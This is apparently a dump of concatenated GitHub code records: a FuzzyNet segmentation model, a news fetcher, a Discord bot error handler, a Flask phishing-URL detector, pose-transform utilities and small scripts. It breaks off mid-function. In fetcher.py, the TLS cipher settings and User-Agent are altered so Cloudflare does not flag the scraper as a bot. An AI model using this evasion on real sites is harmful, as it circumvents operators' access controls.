nn.ReLU(inplace=True)\n\n self.conv4_r1 = nn.Conv2d(256, 256, 1)\n self.bn4_r1 = nn.BatchNorm2d(256, affine=True)\n self.relu4_r1 = nn.ReLU(inplace=True)\n self.conv4_r2 = nn.Conv2d(256, 512, 3, padding=1)\n self.bn4_r2 = nn.BatchNorm2d(512, affine=True)\n self.relu4_r2 = nn.ReLU(inplace=True)\n self.conv4_r3 = nn.Conv2d(512, 512, 1)\n\n self.pool4 = nn.MaxPool2d(2, stride=2, ceil_mode=True)\n # 1/16\n\n # 反卷积\n self.deconv1 = nn.ConvTranspose2d(in_channels=512, out_channels=256, kernel_size=(2, 2), stride=(2, 2),\n bias=False)\n self.deconv2 = nn.ConvTranspose2d(in_channels=256, out_channels=128, kernel_size=(2, 2), stride=(2, 2),\n bias=False)\n self.deconv3 = nn.ConvTranspose2d(in_channels=128, out_channels=64, kernel_size=(2, 2), stride=(2, 2),\n bias=False)\n self.deconv4 = nn.ConvTranspose2d(in_channels=64, out_channels=6, kernel_size=(2, 2), stride=(2, 2),\n bias=False) #\n\n self.fbn1 = nn.BatchNorm2d(64, affine=True)\n self.fbn2 = nn.BatchNorm2d(128, affine=True)\n self.fbn3 = nn.BatchNorm2d(256, affine=True)\n self.fbn4 = nn.BatchNorm2d(512, affine=True)\n\n self.bn1 = nn.BatchNorm2d(512, affine=True)\n self.bn2 = nn.BatchNorm2d(256, affine=True)\n self.bn3 = nn.BatchNorm2d(128, affine=True)\n self.bn4 = nn.BatchNorm2d(64, affine=True)\n\n self.testing = testing\n self._initialize_weights()\n\n def _initialize_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n # m.weight.data.zero_()\n if m.bias is not None:\n m.bias.data.zero_()\n if isinstance(m, nn.ConvTranspose2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels * m.in_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n if m.bias is not None:\n m.bias.data.zero_()\n if isinstance(m, nn.Linear):\n m.weight.data.normal_(0, 1)\n\n for param in self.parameters():\n param.requires_grad = True\n\n def forward(self, x):\n h = x\n h = self.relu1_1(self.conv1_1(h))\n h = self.relu1_2(self.conv1_2(h))\n h = self.pool1(h)\n c1 = h\n # Fuzzy learning module1\n # f1 = self.fbn1(self.fuzzy_1(c1)) + c1\n t1 = self.fbn1(self.fuzzy_1(c1))\n f1 = self.get_gate(c1, t1)\n\n g = h\n g = self.relu2_r1(self.bn2_r1(self.conv2_r1(g)))\n g = self.relu2_r2(self.bn2_r2(self.conv2_r2(g)))\n g = self.conv2_r3(g)\n\n h = self.relu2_1(self.conv2_1(h))\n h = self.relu2_2(self.conv2_2(h))\n h = self.pool2(h + g)\n ###########\n c2 = h\n t2 = self.fbn2(self.fuzzy_2(c2))\n f2 = self.get_gate(c2, t2)\n # f2 = self.fbn2(self.fuzzy_2(c2)) + c2\n\n g = h\n g = self.relu3_r1(self.bn3_r1(self.conv3_r1(g)))\n g = self.relu3_r2(self.bn3_r2(self.conv3_r2(g)))\n g = self.conv3_r3(g)\n\n h = self.relu3_1(self.conv3_1(h))\n h = self.relu3_2(self.conv3_2(h))\n h = self.relu3_3(self.conv3_3(h))\n h = self.pool3(h + g)\n ##############\n c3 = h\n t3 = self.fbn3(self.fuzzy_3(c3))\n f3 = self.get_gate(c3, t3)\n # f3 = self.fbn3(self.fuzzy_3(c3)) + c3\n\n g = h\n g = self.relu4_r1(self.bn4_r1(self.conv4_r1(g)))\n g = self.relu4_r2(self.bn4_r2(self.conv4_r2(g)))\n g = self.conv4_r3(g)\n h = self.relu4_1(self.conv4_1(h))\n h = self.relu4_2(self.conv4_2(h))\n h = self.relu4_3(self.conv4_3(h))\n h = self.pool4(h + g)\n c4 = h\n # f4 = self.fbn4(self.fuzzy_4(c4))\n\n h = self.bn1(h)\n de1 = self.deconv1(h)\n\n # h = self.bn2(self.deconv1(h) + f2)\n # h = self.bn3(self.deconv2(h) + f3)\n # h = self.bn4(self.deconv3(h) + f1)\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n h = h.to(device)\n f3 = f3.to(device)\n f2 = f2.to(device)\n f1 = f1.to(device)\n\n h = self.bn2(self.deconv1(h) + f3)\n h = self.bn3(self.deconv2(h) + f2)\n h = self.bn4(self.deconv3(h) + f1)\n h = self.deconv4(h)\n return h\n\n def get_gate(self, x1, x2):\n # with tf.variable_scope(name):\n x1 = tf.convert_to_tensor(x1.cpu().detach().numpy())\n # gpu转换方法\n # x1 = tf.convert_to_tensor(x1.numpy())\n x2 = tf.convert_to_tensor(x2.cpu().detach().numpy())\n # x2 = tf.convert_to_tensor(x2.numpy())\n\n\n conv_dim = x1.shape[2]\n c_12 = tf.concat([x1, x2], 3)\n c_12 = self.conv(\"feature\", c_12, 1, c_12.shape[3], conv_dim, [1, 1, 1, 1])\n c_12 = tf.nn.relu(c_12)\n gate = self.conv(\"gate\", c_12, 3, c_12.shape[3], conv_dim, [1, 1, 1, 1])\n gate = tf.nn.sigmoid(gate)\n out = gate * x1 + x2\n out = torch.from_numpy(out.numpy())\n return out\n\n def conv(self, name, x, filter_size, in_filters, out_filters, strides):\n # # with tf.variable_scope(name):\n # # with tf.device('/gpu:0'):\n # w = tf.compat.v1.get_variable('DW', [filter_size, filter_size, in_filters, out_filters],\n # # initializer=tf.contrib.layers.xavier_initializer_conv2d())\n # initializer=tf.contrib.layers.xavier_initializer_conv2d())\n # b = tf.compat.v1.get_variable('biases', out_filters, initializer=tf.constant_initializer(0.))\n # return tf.nn.conv2d(x, w, strides, padding='SAME') + b\n w = tf.compat.v1.get_variable('DW', [filter_size, filter_size, in_filters, out_filters],\n initializer=tf.compat.v1.keras.initializers.VarianceScaling(scale=1.0,\n mode=\"fan_avg\",\n distribution=\"uniform\"))\n b = tf.compat.v1.get_variable('biases', out_filters, initializer=tf.compat.v1.constant_initializer(0.))\n return tf.nn.conv2d(input=x, filters=w, strides=strides, padding='SAME') + b\n","repo_name":"CVFishwgy/FuzzyNet","sub_path":"FuzzyNet.py","file_name":"FuzzyNet.py","file_ext":"py","file_size_in_byte":10040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"75052019621","text":"import urllib3\nimport ssl\nfrom urllib3.util.ssl_ import create_urllib3_context\n\nfrom logger import logger\n\nURL_TIMEOUT = 15\n\nctx = create_urllib3_context()\n# change the TLS signature, so that cloudflare won't consider us as bot and block us for some sites\nctx.set_ciphers(\"ECDHE+CHACHA20:ECDHE+AESGCM\")\nctx.load_default_certs()\nctx.options |= ssl.OP_NO_TLSv1_3\nif ctx.options & ssl.OP_NO_COMPRESSION == ssl.OP_NO_COMPRESSION:\n ctx.options ^= ssl.OP_NO_COMPRESSION\n# OP_LEGACY_SERVER_CONNECT (0x4). to handle servers that don't support secure renegotiation (e.g. hket)\nctx.options |= 0x4\nhttp = urllib3.PoolManager(timeout=URL_TIMEOUT, ssl_context=ctx)\n\n\ndef read_http_page(url, cookies=None, headers=None, method=\"GET\", body=None):\n the_headers = {\n \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0\",\n \"Pragma\": \"no-cache\",\n \"Cache-Control\": \"no-cache\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n }\n\n if cookies:\n the_headers[\"Cookie\"] = \";\".join(\n [\"%s=%s\" % (key, value) for (key, value) in cookies.items()]\n )\n\n if headers:\n the_headers.update(headers)\n\n try:\n resp = http.request(method, url, headers=the_headers, body=body)\n return resp.data\n except Exception as e:\n logger.exception(\"Problem reading http page: \" + str(e))\n\n return None\n","repo_name":"kitsook/newsSum","sub_path":"fetcher.py","file_name":"fetcher.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"32915037047","text":"import collections\nimport logging\nimport traceback\nfrom abc import ABCMeta, abstractmethod\nfrom logging.handlers import RotatingFileHandler\n\nimport discord\nfrom discord.ext import commands\n\n# noinspection PyUnreachableCode\nif False:\n import alice\n\n\nclass UnhandledError(Exception):\n pass\n\n\nclass DefaultHandler(metaclass=ABCMeta):\n def __init__(self, priority=None):\n self.priority = -1\n if priority is not None:\n self.priority = priority\n\n @abstractmethod\n async def handle(self, ctx: commands.Context, err: commands.CommandError):\n raise UnhandledError\n\n def __str__(self):\n return f\"<{self.__class__.__name__}>\"\n\n\nclass InvokeHandler(DefaultHandler):\n async def handle(self, ctx: commands.Context, err: commands.CommandError):\n ctx.bot: 'alice.Alice' = ctx.bot\n if isinstance(err, commands.CommandInvokeError):\n if ctx.command.name == 'debug':\n return\n ctx.bot.logger.error(\n \"CommandInvokeError {}.{}\".format(err.original.__class__.__module__, err.original.__class__.__name__))\n ctx.bot.logger.debug(\"\".join(traceback.format_exception(type(err), err, err.__traceback__)))\n ctx.bot.logger.debug(\n \"\".join(traceback.format_exception(type(err), err.__cause__, err.__cause__.__traceback__))\n )\n content = \"\\u274c Error occurred while handling the command.\"\n if content:\n await ctx.send(content)\n else:\n await super().handle(ctx, err)\n\n\nclass NotFoundHandler(DefaultHandler):\n async def handle(self, ctx: commands.Context, err: commands.CommandError):\n if isinstance(err, commands.errors.CommandNotFound):\n await ctx.bot.helper.react_or_false(ctx, (\"\\u2753\",))\n try:\n logger = ctx.bot.commands_logger\n except AttributeError:\n logger = logging.getLogger('alice.commands')\n ch = RotatingFileHandler(\"logs/commands.log\", maxBytes=5000000, backupCount=1, encoding='UTF-8')\n ch.setFormatter(logging.Formatter('%(asctime)s %(levelname)-8s [%(name)s] %(message)s'))\n ch.setLevel(1)\n logger.handlers = [] # Shouldn't matter but still\n logger.addHandler(ctx.bot.alice_handler)\n logger.addHandler(ch)\n ctx.bot.commands_logger = logger\n logger.info(f'Unknown command: {ctx.invoked_with}')\n else:\n await super().handle(ctx, err)\n\n\nclass CheckFailureHandler(DefaultHandler):\n async def handle(self, ctx: commands.Context, err: commands.CommandError):\n if isinstance(err, commands.errors.CheckFailure):\n if any(i.__qualname__.startswith('is_owner') for i in ctx.command.checks):\n return await ctx.bot.helper.react_or_false(ctx, (\"\\u2753\",))\n await ctx.send(\"\\u274c Check failure. \" + str(err))\n else:\n await super().handle(ctx, err)\n\n\nclass BadInputHandler(DefaultHandler):\n async def handle(self, ctx: commands.Context, err: commands.CommandError):\n if isinstance(err, commands.UserInputError):\n await ctx.send(\"\\u274c Bad argument: {}\".format(' '.join(err.args)))\n else:\n await super().handle(ctx, err)\n\n\nclass ConversionHandler(DefaultHandler):\n async def handle(self, ctx: commands.Context, err: commands.CommandError):\n if isinstance(err, commands.errors.ConversionError):\n await ctx.send(\"\\u274c Bad argument: Failed to use converter. \"\n \"You shouldn't see this error, please report it\")\n else:\n await super().handle(ctx, err)\n\n\nclass CooldownHandler(DefaultHandler):\n async def handle(self, ctx: commands.Context, err: commands.CommandError):\n if isinstance(err, commands.CommandOnCooldown):\n if not await ctx.bot.helper.react_or_false(ctx, (\"\\u23f0\",)):\n await ctx.send(\"\\u23f0 \" + str(err))\n else:\n await super().handle(ctx, err)\n\n\nclass CanNotSendHandler(DefaultHandler):\n def __init__(self, priority=float('inf')):\n super().__init__(priority) # I want this to trigger no matter what\n\n async def handle(self, ctx: commands.Context, err: commands.CommandError):\n if not ctx.channel.permissions_for(ctx.me).send_messages:\n await ctx.bot.helper.react_or_false(ctx, (\"\\U0001f507\",))\n else:\n await super().handle(ctx, err)\n\n\nclass HandlersManager:\n def __init__(self, *args, handlers: collections.Iterable = tuple()):\n self.handlers = list(args + tuple(i for i in handlers))\n\n def add_handler(self, handler: DefaultHandler):\n if not isinstance(handler, DefaultHandler):\n raise TypeError\n self.handlers.append(handler)\n\n async def handle(self, ctx: commands.Context, err: commands.CommandError):\n self.handlers.sort(key=lambda a: a.priority, reverse=True)\n for handler in self.handlers:\n if not isinstance(handler, DefaultHandler):\n ctx.bot.logger.debug(\"Error handler tried using something that isn't DefaultHandler\")\n continue\n try:\n await handler.handle(ctx, err)\n return\n except UnhandledError:\n continue\n except Exception as e:\n ctx.bot.logger.debug(f\"{handler} couldn't handle {err.__class__.__name__} error correctly\")\n ctx.bot.logger.debug(f\"It raised: {repr(e)}\")\n continue\n ctx.bot.logger.debug(f'Unhandled error of type {type(err)}')\n try:\n await ctx.message.add_reaction('\\u26a0')\n except discord.Forbidden:\n pass\n\n\nclass ErrorCog:\n def __init__(self, bot: 'alice.Alice'):\n self.bot = bot\n self.error_handler = HandlersManager()\n handlers = [\n InvokeHandler,\n NotFoundHandler,\n CheckFailureHandler,\n BadInputHandler,\n ConversionHandler,\n CooldownHandler\n ]\n for priority, cls in enumerate(handlers):\n self.error_handler.add_handler(cls(priority=priority))\n self.error_handler.add_handler(CanNotSendHandler())\n\n def add_handler(self, handler: DefaultHandler):\n self.error_handler.add_handler(handler)\n\n async def on_command_error(self, ctx, err):\n if hasattr(ctx.command, \"on_error\"):\n return\n await self.error_handler.handle(ctx, err)\n\n\ndef setup(bot):\n bot.add_cog(ErrorCog(bot))\n","repo_name":"LittleEndu/Anime-Alice","sub_path":"cogs/error_handler.py","file_name":"error_handler.py","file_ext":"py","file_size_in_byte":6617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"43671394875","text":"import os\nimport uuid\nimport logging\nfrom flask import Flask, render_template, request\nfrom forms import AcceptURL\nfrom url_features_extraction import predict\n\nsecret_key = uuid.uuid4().hex\nlogging.Formatter('%(asctime)s : %(levelname)s : %(name)s : %(message)s')\nlogger = logging.getLogger(__name__)\napp = Flask(__name__)\napp.config['SECRET_KEY'] = secret_key\n\n\n@app.route(\"/\", methods=['GET', 'POST'])\n@app.route(\"/predict\", methods=['GET', 'POST'])\ndef predict_url():\n prediction = \"\"\n form = AcceptURL()\n if request.method == \"POST\" and \\\n form.validate_on_submit():\n u = form.url.data\n form.url.data = \"\"\n p = predict(u)\n p = int(p[0])\n if p == 1:\n prediction = \"Legitimate Website\"\n logger.info(\"Url is Legitimate\")\n else:\n prediction = \"Phishing Website\"\n logger.info(\"Url is Phishing\")\n else:\n form.url.data = \"\"\n return render_template(\"index.html\", prediction_text=\"\", form=form)\n return render_template(\"index.html\", prediction_text=prediction, form=form)\n\n\nif __name__ == \"__main__\":\n port = os.environ.get(\"PORT\", 5000)\n app.run(debug=True, host='0.0.0.0', port=port)\n","repo_name":"KiranAyyagari/phishing-detection","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"12518276231","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport os\n\nimport setuptools\n\ndef main():\n\n setuptools.setup(\n name = \"datavision\",\n version = \"2018.01.08.2333\",\n description = \"Python data visualisation\",\n long_description = long_description(),\n url = \"https://github.com/wdbm/datavision\",\n author = \"Will Breaden Madden\",\n author_email = \"wbm@protonmail.ch\",\n license = \"GPLv3\",\n py_modules = [\n \"datavision\"\n ],\n install_requires = [\n \"pandas\",\n \"python-dateutil\",\n \"dataset\",\n \"matplotlib\",\n \"numpy\",\n \"Pillow\",\n \"pygame\",\n \"pyprel\",\n \"scipy\",\n \"shijian\"\n ],\n scripts = [\n \"change_field_name_database_SQLite.py\",\n \"datavision_TTY_plot.py\",\n \"duplicates_database_SQLite.py\",\n \"search_database_SQLite.py\",\n \"view_database_SQLite.py\"\n ],\n entry_points = \"\"\"\n [console_scripts]\n datavision = datavision:datavision\n \"\"\"\n )\n\ndef long_description(\n filename = \"README.md\"\n ):\n\n if os.path.isfile(os.path.expandvars(filename)):\n try:\n import pypandoc\n long_description = pypandoc.convert_file(filename, \"rst\")\n except ImportError:\n long_description = open(filename).read()\n else:\n long_description = \"\"\n return long_description\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"wdbm/datavision","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"3234443314","text":"import random\n\ndef game():\n botChoice = random.randrange(1, 4)\n wait = True\n while wait == True:\n userinput = input()\n try:\n userinput = int(userinput)\n wait = False\n except ValueError:\n print(\"Please enter a number\")\n playerChoice = userinput\n if playerChoice == 1 or playerChoice == 2 or playerChoice == 3:\n if playerChoice == botChoice:\n print(\"Tie\")\n elif (playerChoice - botChoice) % 3 == 1:\n print(\"You Win\")\n else:\n print(\"You Lose\")\n else:\n game()\n\n\ngame()\n\n# 1 = rock\n# 2 = paper\n# 3 = scissors","repo_name":"CoffeBlock/RockPaperScissorsBot","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"25191928812","text":"import sys\r\na = list(map(int, sys.stdin.readline().split()))\r\nn = min(a)\r\nwhile True:\r\n cnt = 0\r\n for i in range(5):\r\n if n % a[i] == 0:\r\n cnt += 1\r\n if cnt > 2:\r\n print(n)\r\n break\r\n n += 1\r\n","repo_name":"2ndkite/baekjoon-python","sub_path":"1145.py","file_name":"1145.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"47376243018","text":"# --------------------------------------------------------\n# Deep Iterative Matching Network\n# Licensed under The Apache-2.0 License [see LICENSE for details]\n# Written by Yi Li, Gu Wang\n# --------------------------------------------------------\nfrom __future__ import print_function, division\nimport numpy as np\nfrom lib.utils.projection import se3_inverse, se3_mul\nimport math\n\nfrom scipy.linalg import logm\nimport numpy.linalg as LA\nfrom math import pi\n\n\ndef calc_RT_delta(pose_src, pose_tgt, T_means, T_stds, rot_coord=\"MODEL\", rot_type=\"MATRIX\"):\n \"\"\"\n project the points in source corrd to target corrd\n :param pose_src: pose matrix of soucre, [R|T], 3x4\n :param pose_tgt: pose matrix of target, [R|T], 3x4\n :param rot_coord: model/camera\n :param rot_type: quat/euler/matrix\n :return: Rm_delta\n :return: T_delta\n \"\"\"\n if rot_coord.lower() == \"naive\":\n se3_src2tgt = se3_mul(pose_tgt, se3_inverse(pose_src))\n Rm_delta = se3_src2tgt[:, :3]\n T_delta = se3_src2tgt[:, 3].reshape((3))\n else:\n Rm_delta = R_inv_transform(pose_src[:3, :3], pose_tgt[:3, :3], rot_coord)\n T_delta = T_inv_transform(pose_src[:, 3], pose_tgt[:, 3], T_means, T_stds, rot_coord)\n\n if rot_type.lower() == \"quat\":\n r = mat2quat(Rm_delta)\n elif rot_type.lower() == \"euler\":\n r = mat2euler(Rm_delta)\n elif rot_type.lower() == \"matrix\":\n r = Rm_delta\n else:\n raise Exception(\"Unknown rot_type: {}\".format(rot_type))\n t = np.squeeze(T_delta)\n\n return r, t\n\n\ndef R_transform(R_src, R_delta, rot_coord=\"MODEL\"):\n \"\"\"\n transform R_src use R_delta\n :param R_src: matrix\n :param R_delta:\n :param rot_coord:\n :return:\n \"\"\"\n if rot_coord.lower() == \"model\":\n R_output = np.dot(R_src, R_delta)\n elif rot_coord.lower() == \"camera\" or rot_coord.lower() == \"naive\" or rot_coord.lower() == \"camera_new\":\n R_output = np.dot(R_delta, R_src)\n else:\n raise Exception(\"Unknown rot_coord in R_transform: {}\".format(rot_coord))\n return R_output\n\n\ndef R_inv_transform(R_src, R_tgt, rot_coord):\n if rot_coord.lower() == \"model\":\n R_delta = np.dot(R_src.transpose(), R_tgt)\n elif rot_coord.lower() == \"camera\" or rot_coord.lower() == \"camera_new\":\n R_delta = np.dot(R_tgt, R_src.transpose())\n else:\n raise Exception(\"Unknown rot_coord in R_inv_transform: {}\".format(rot_coord))\n return R_delta\n\n\ndef T_transform(T_src, T_delta, T_means, T_stds, rot_coord):\n \"\"\"\n :param T_src: (x1, y1, z1)\n :param T_delta: (dx, dy, dz), normed\n :return: T_tgt: (x2, y2, z2)\n \"\"\"\n # print(\"T_src: {}\".format(T_src))\n assert T_src[2] != 0, \"T_src: {}\".format(T_src)\n T_delta_1 = T_delta * T_stds + T_means\n T_tgt = np.zeros((3,))\n z2 = T_src[2] / np.exp(T_delta_1[2])\n T_tgt[2] = z2\n if rot_coord.lower() == \"camera\" or rot_coord.lower() == \"model\":\n T_tgt[0] = z2 * (T_delta_1[0] + T_src[0] / T_src[2])\n T_tgt[1] = z2 * (T_delta_1[1] + T_src[1] / T_src[2])\n elif rot_coord.lower() == \"camera_new\":\n T_tgt[0] = T_src[2] * T_delta_1[0] + T_src[0]\n T_tgt[1] = T_src[2] * T_delta_1[1] + T_src[1]\n else:\n raise Exception(\"Unknown: {}\".format(rot_coord))\n\n return T_tgt\n\n\ndef T_transform_naive(R_delta, T_src, T_delta):\n T_src = T_src.reshape((3, 1))\n T_delta = T_delta.reshape((3, 1))\n T_new = np.dot(R_delta, T_src) + T_delta\n return T_new.reshape((3,))\n\n\ndef T_inv_transform(T_src, T_tgt, T_means, T_stds, rot_coord):\n \"\"\"\n :param T_src:\n :param T_tgt:\n :param T_means:\n :param T_stds:\n :return: T_delta: delta in pixel\n \"\"\"\n T_delta = np.zeros((3,))\n if rot_coord.lower() == \"camera_new\":\n T_delta[0] = (T_tgt[0] - T_src[0]) / T_src[2]\n T_delta[1] = (T_tgt[1] - T_src[1]) / T_src[2]\n elif rot_coord.lower() == \"camera\" or rot_coord.lower() == \"model\":\n T_delta[0] = T_tgt[0] / T_tgt[2] - T_src[0] / T_src[2]\n T_delta[1] = T_tgt[1] / T_tgt[2] - T_src[1] / T_src[2]\n else:\n raise Exception(\"Unknown: {}\".format(rot_coord))\n T_delta[2] = np.log(T_src[2] / T_tgt[2])\n T_delta_normed = (T_delta - T_means) / T_stds\n return T_delta_normed\n\n\ndef RT_transform(pose_src, r, t, T_means, T_stds, rot_coord=\"MODEL\"):\n # r: 4(quat) or 3(euler) number\n # t: 3 number, (delta_x, delta_y, scale)\n r = np.squeeze(r)\n if r.shape[0] == 3:\n Rm_delta = euler2mat(r[0], r[1], r[2])\n elif r.shape[0] == 4:\n # QUAT\n quat = r / LA.norm(r)\n Rm_delta = quat2mat(quat)\n else:\n raise Exception(\"Unknown r shape: {}\".format(r.shape))\n t_delta = np.squeeze(t)\n\n if rot_coord.lower() == \"naive\":\n se3_mx = np.zeros((3, 4))\n se3_mx[:, :3] = Rm_delta\n se3_mx[:, 3] = t\n pose_est = se3_mul(se3_mx, pose_src)\n else:\n pose_est = np.zeros((3, 4))\n pose_est[:3, :3] = R_transform(pose_src[:3, :3], Rm_delta, rot_coord)\n pose_est[:3, 3] = T_transform(pose_src[:, 3], t_delta, T_means, T_stds, rot_coord)\n\n return pose_est\n\n\ndef calc_rt_dist_q(Rq_src, Rq_tgt, T_src, T_tgt):\n\n rd_rad = np.arccos(np.inner(Rq_src, Rq_tgt) ** 2 * 2 - 1)\n rd_deg = rd_rad / pi * 180\n td = LA.norm(T_tgt - T_src)\n return rd_deg, td\n\n\ndef calc_rt_dist_m(pose_src, pose_tgt):\n R_src = pose_src[:, :3]\n T_src = pose_src[:, 3]\n R_tgt = pose_tgt[:, :3]\n T_tgt = pose_tgt[:, 3]\n temp = logm(np.dot(np.transpose(R_src), R_tgt))\n rd_rad = LA.norm(temp, \"fro\") / np.sqrt(2)\n rd_deg = rd_rad / pi * 180\n\n td = LA.norm(T_tgt - T_src)\n\n return rd_deg, td\n\n\ndef calc_se3(pose_src, pose_tgt):\n \"\"\"\n project the points in source corrd to target corrd\n :param pose_src: pose matrix of soucre, [R|T], 3x4\n :param pose_tgt: pose matrix of target, [R|T], 3x4\n :return: visible: whether points in source can be viewed in target\n \"\"\"\n se3_src2tgt = se3_mul(pose_tgt, se3_inverse(pose_src))\n rotm = se3_src2tgt[:, :3]\n t = se3_src2tgt[:, 3].reshape((3))\n\n return rotm, t\n\n\ndef se3_q2m(se3_q):\n assert se3_q.size == 7\n se3_mx = np.zeros((3, 4))\n quat = se3_q[0:4] / LA.norm(se3_q[0:4])\n R = quat2mat(quat)\n se3_mx[:, :3] = R\n se3_mx[:, 3] = se3_q[4:]\n return se3_mx\n\n\n# axis sequences for Euler angles\n_NEXT_AXIS = [1, 2, 0, 1]\n\n# map axes strings to/from tuples of inner axis, parity, repetition, frame\n_AXES2TUPLE = {\n \"sxyz\": (0, 0, 0, 0),\n \"sxyx\": (0, 0, 1, 0),\n \"sxzy\": (0, 1, 0, 0),\n \"sxzx\": (0, 1, 1, 0),\n \"syzx\": (1, 0, 0, 0),\n \"syzy\": (1, 0, 1, 0),\n \"syxz\": (1, 1, 0, 0),\n \"syxy\": (1, 1, 1, 0),\n \"szxy\": (2, 0, 0, 0),\n \"szxz\": (2, 0, 1, 0),\n \"szyx\": (2, 1, 0, 0),\n \"szyz\": (2, 1, 1, 0),\n \"rzyx\": (0, 0, 0, 1),\n \"rxyx\": (0, 0, 1, 1),\n \"ryzx\": (0, 1, 0, 1),\n \"rxzx\": (0, 1, 1, 1),\n \"rxzy\": (1, 0, 0, 1),\n \"ryzy\": (1, 0, 1, 1),\n \"rzxy\": (1, 1, 0, 1),\n \"ryxy\": (1, 1, 1, 1),\n \"ryxz\": (2, 0, 0, 1),\n \"rzxz\": (2, 0, 1, 1),\n \"rxyz\": (2, 1, 0, 1),\n \"rzyz\": (2, 1, 1, 1),\n}\n\n_TUPLE2AXES = dict((v, k) for k, v in _AXES2TUPLE.items())\n\n# For testing whether a number is close to zero\n_EPS4 = np.finfo(float).eps * 4.0\n\n_MAX_FLOAT = np.maximum_sctype(np.float)\n_FLOAT_EPS = np.finfo(np.float).eps\n\n\ndef euler2mat(ai, aj, ak, axes=\"sxyz\"):\n \"\"\"Return rotation matrix from Euler angles and axis sequence.\n Parameters\n ----------\n ai : float\n First rotation angle (according to `axes`).\n aj : float\n Second rotation angle (according to `axes`).\n ak : float\n Third rotation angle (according to `axes`).\n axes : str, optional\n Axis specification; one of 24 axis sequences as string or encoded\n tuple - e.g. ``sxyz`` (the default).\n Returns\n -------\n mat : array-like shape (3, 3) or (4, 4)\n Rotation matrix or affine.\n Examples\n --------\n >>> R = euler2mat(1, 2, 3, 'syxz')\n >>> np.allclose(np.sum(R[0]), -1.34786452)\n True\n >>> R = euler2mat(1, 2, 3, (0, 1, 0, 1))\n >>> np.allclose(np.sum(R[0]), -0.383436184)\n True\n \"\"\"\n try:\n firstaxis, parity, repetition, frame = _AXES2TUPLE[axes]\n except (AttributeError, KeyError):\n _TUPLE2AXES[axes] # validation\n firstaxis, parity, repetition, frame = axes\n\n i = firstaxis\n j = _NEXT_AXIS[i + parity]\n k = _NEXT_AXIS[i - parity + 1]\n\n if frame:\n ai, ak = ak, ai\n if parity:\n ai, aj, ak = -ai, -aj, -ak\n\n si, sj, sk = math.sin(ai), math.sin(aj), math.sin(ak)\n ci, cj, ck = math.cos(ai), math.cos(aj), math.cos(ak)\n cc, cs = ci * ck, ci * sk\n sc, ss = si * ck, si * sk\n\n M = np.eye(3)\n if repetition:\n M[i, i] = cj\n M[i, j] = sj * si\n M[i, k] = sj * ci\n M[j, i] = sj * sk\n M[j, j] = -cj * ss + cc\n M[j, k] = -cj * cs - sc\n M[k, i] = -sj * ck\n M[k, j] = cj * sc + cs\n M[k, k] = cj * cc - ss\n else:\n M[i, i] = cj * ck\n M[i, j] = sj * sc - cs\n M[i, k] = sj * cc + ss\n M[j, i] = cj * sk\n M[j, j] = sj * ss + cc\n M[j, k] = sj * cs - sc\n M[k, i] = -sj\n M[k, j] = cj * si\n M[k, k] = cj * ci\n return M\n\n\ndef mat2euler(mat, axes=\"sxyz\"):\n \"\"\"Return Euler angles from rotation matrix for specified axis sequence.\n Note that many Euler angle triplets can describe one matrix.\n Parameters\n ----------\n mat : array-like shape (3, 3) or (4, 4)\n Rotation matrix or affine.\n axes : str, optional\n Axis specification; one of 24 axis sequences as string or encoded\n tuple - e.g. ``sxyz`` (the default).\n Returns\n -------\n ai : float\n First rotation angle (according to `axes`).\n aj : float\n Second rotation angle (according to `axes`).\n ak : float\n Third rotation angle (according to `axes`).\n Examples\n --------\n >>> R0 = euler2mat(1, 2, 3, 'syxz')\n >>> al, be, ga = mat2euler(R0, 'syxz')\n >>> R1 = euler2mat(al, be, ga, 'syxz')\n >>> np.allclose(R0, R1)\n True\n \"\"\"\n\n try:\n firstaxis, parity, repetition, frame = _AXES2TUPLE[axes.lower()]\n except (AttributeError, KeyError):\n _TUPLE2AXES[axes] # validation\n firstaxis, parity, repetition, frame = axes\n\n i = firstaxis\n j = _NEXT_AXIS[i + parity]\n k = _NEXT_AXIS[i - parity + 1]\n\n M = np.array(mat, dtype=np.float64, copy=False)[:3, :3]\n if repetition:\n sy = math.sqrt(M[i, j] * M[i, j] + M[i, k] * M[i, k])\n if sy > _EPS4:\n ax = math.atan2(M[i, j], M[i, k])\n ay = math.atan2(sy, M[i, i])\n az = math.atan2(M[j, i], -M[k, i])\n else:\n ax = math.atan2(-M[j, k], M[j, j])\n ay = math.atan2(sy, M[i, i])\n az = 0.0\n else:\n cy = math.sqrt(M[i, i] * M[i, i] + M[j, i] * M[j, i])\n if cy > _EPS4:\n ax = math.atan2(M[k, j], M[k, k])\n ay = math.atan2(-M[k, i], cy)\n az = math.atan2(M[j, i], M[i, i])\n else:\n ax = math.atan2(-M[j, k], M[j, j])\n ay = math.atan2(-M[k, i], cy)\n az = 0.0\n\n if parity:\n ax, 